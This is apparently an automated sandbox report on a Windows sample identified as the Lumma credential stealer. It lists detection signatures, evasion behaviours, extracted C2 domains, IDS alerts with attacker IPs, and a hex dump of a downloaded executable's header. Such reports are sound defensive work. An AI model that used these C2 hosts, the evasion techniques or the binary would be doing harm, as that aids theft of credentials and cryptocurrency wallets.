Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1560592
MD5:	e5569b9b9af1799aeeac81bc32dd8a1a
SHA1:	5f3f3b8f12fbcd9e139f8839985d1b5cb08f80f5
SHA256:	d757c63721259fe04be15faa7c2ccb243c9a50a82f40ab54638b434c1de1ade2
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7560 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E5569B9B9AF1799AEEAC81BC32DD8A1A)

chrome.exe (PID: 7304 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3724 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,2095106671095358693,17802434904325068709,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 4704 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,16216201613498523600,2861810971136064477,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["processhol.sbs", "p3ar11fter.sbs", "3xp3cts1aim.sbs", "peepburry828.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480903921.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481788169.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1408418998.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1482199863.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479733246.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1431407480.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480175831.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1482141402.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481170301.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480846306.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1405046358.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480497911.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1404797585.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481419256.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480789721.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481105021.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1404763527.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1454766958.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1431979951.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1482398386.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479944763.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1482560101.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480395185.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480442489.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1482270321.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480656259.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481284524.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479679719.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1482338604.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481660981.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481485378.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481547322.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480124631.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481601553.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480070005.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481224363.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1482025644.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479618526.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479518501.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481966600.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1455104063.0000000000D99000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481854117.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480725822.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479999865.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479780165.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1454734940.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480336128.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1479830355.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1480280700.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1481035773.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7560	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 7560	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 7560	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 52 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:21.637120+0100	2028371	3	Unknown Traffic	192.168.2.7	49705	104.21.66.38	443	TCP
2024-11-22T01:02:23.762758+0100	2028371	3	Unknown Traffic	192.168.2.7	49711	104.21.66.38	443	TCP
2024-11-22T01:02:26.450327+0100	2028371	3	Unknown Traffic	192.168.2.7	49722	104.21.66.38	443	TCP
2024-11-22T01:02:28.729787+0100	2028371	3	Unknown Traffic	192.168.2.7	49728	104.21.66.38	443	TCP
2024-11-22T01:02:31.200984+0100	2028371	3	Unknown Traffic	192.168.2.7	49734	104.21.66.38	443	TCP
2024-11-22T01:02:33.902558+0100	2028371	3	Unknown Traffic	192.168.2.7	49740	104.21.66.38	443	TCP
2024-11-22T01:02:37.006446+0100	2028371	3	Unknown Traffic	192.168.2.7	49748	104.21.66.38	443	TCP
2024-11-22T01:02:43.936597+0100	2028371	3	Unknown Traffic	192.168.2.7	49767	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:22.406051+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49705	104.21.66.38	443	TCP
2024-11-22T01:02:24.508200+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49711	104.21.66.38	443	TCP
2024-11-22T01:02:44.677207+0100	2054653	1	A Network Trojan was detected	192.168.2.7	49767	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:22.406051+0100	2049836	1	A Network Trojan was detected	192.168.2.7	49705	104.21.66.38	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:24.508200+0100	2049812	1	A Network Trojan was detected	192.168.2.7	49711	104.21.66.38	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:21.637120+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49705	104.21.66.38	443	TCP
2024-11-22T01:02:23.762758+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49711	104.21.66.38	443	TCP
2024-11-22T01:02:26.450327+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49722	104.21.66.38	443	TCP
2024-11-22T01:02:28.729787+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49728	104.21.66.38	443	TCP
2024-11-22T01:02:31.200984+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49734	104.21.66.38	443	TCP
2024-11-22T01:02:33.902558+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49740	104.21.66.38	443	TCP
2024-11-22T01:02:37.006446+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49748	104.21.66.38	443	TCP
2024-11-22T01:02:43.936597+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.7	49767	104.21.66.38	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:46.131480+0100	2019714	2	Potentially Bad Traffic	192.168.2.7	49773	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:20.067028+0100	2057730	1	Domain Observed Used for C2 Detected	192.168.2.7	64220	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-22T01:02:27.370891+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.7	49722	104.21.66.38	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000002.1744489493.0000000005AD2000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1675317000.0000000007F10000.00000004.00001000.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49711 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49728 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49734 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2057730 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cook-rain .sbs) : 192.168.2.7:64220 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49740 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49705 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49722 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49748 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2057731 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI) : 192.168.2.7:49767 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.7:49722 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.7:49705 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49705 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49767 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.7:49711 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.7:49711 -> 104.21.66.38:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 22 Nov 2024 00:02:45 GMTContent-Type: application/octet-streamContent-Length: 2780672Last-Modified: Thu, 21 Nov 2024 23:56:58 GMTConnection: keep-aliveETag: "673fc8ca-2a6e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 53 68 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 72 6f 73 6c 72 73 6d 00 20 2a 00 00 a0 00 00 00 0e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 63 64 77 75 77 75 76 00 20 00 00 00 c0 2a 00 00 04 00 00 00 48 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 4c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49711 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49728 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49734 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49740 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49705 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49722 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49748 -> 104.21.66.38:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49773 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49767 -> 104.21.66.38:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
